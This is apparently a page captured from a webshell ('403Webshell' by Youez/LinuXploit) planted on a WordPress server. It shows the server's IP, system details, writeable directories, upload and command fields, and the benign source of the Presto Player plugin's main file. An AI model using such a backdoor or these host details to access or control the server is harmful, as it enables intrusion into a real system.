403Webshell
Server IP : 193.146.211.90  /  Your IP : 10.85.6.55
Web Server : Apache
System : Linux wordpress-gti-69dcdb54f7-n4wdq 6.11.8-arch1-2 #1 SMP PREEMPT_DYNAMIC Fri, 15 Nov 2024 15:35:07 +0000 x86_64
User : 1001 ( 1001)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/presto-player/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/presto-player/presto-player.php
<?php

/**
 * Plugin Name: Presto Player
 * Plugin URI: http://prestoplayer.com
 * Description: A beautiful, fast media player for WordPress.
 * Version: 3.0.8
 * Author: Presto Made, Inc
 * Author URI: https://prestoplayer.com/
 * Text Domain: presto-player
 * Tags: private, video, lms, hls
 * Domain Path: languages
 */

use PrestoPlayer\Factory;
use PrestoPlayer\Controller;
use PrestoPlayer\Requirements;
use PrestoPlayer\Dice\Dice as Container;

// Don't do anything if called directly.
if ( ! \defined( 'ABSPATH' ) || ! \defined( 'WPINC' ) ) {
	exit;
}

if ( file_exists( __DIR__ . '/vendor/autoload.php' ) ) {
	require_once __DIR__ . '/vendor/autoload.php';
}

/**
 * The code that runs during plugin activation
 */
register_activation_hook(
	__FILE__,
	function () {
		PrestoPlayer\Activator::activate();
	}
);

register_uninstall_hook( __FILE__, 'presto_player_uninstall' );

function presto_player_uninstall() {
	PrestoPlayer\Deactivator::uninstall();
}

// plugin constants
define( 'PRESTO_PLAYER_PLUGIN_FILE', __FILE__ );
define( 'PRESTO_PLAYER_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
define( 'PRESTO_PLAYER_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );

if ( ! function_exists( 'presto_player_plugin' ) ) {
	function presto_player_plugin() {
		// Check plugin requirements.
		$requirements = new Requirements();
		if ( $requirements->check() ) {
			$container = new Container();
			$factory   = new Factory( $container );
			$container = $container->addRules( $factory->getRules() );
			$plugin    = $container->create( Controller::class );
			$plugin->run();
		}
	}
	presto_player_plugin();
}

Youez - 2016 - github.com/yon3zu
LinuXploit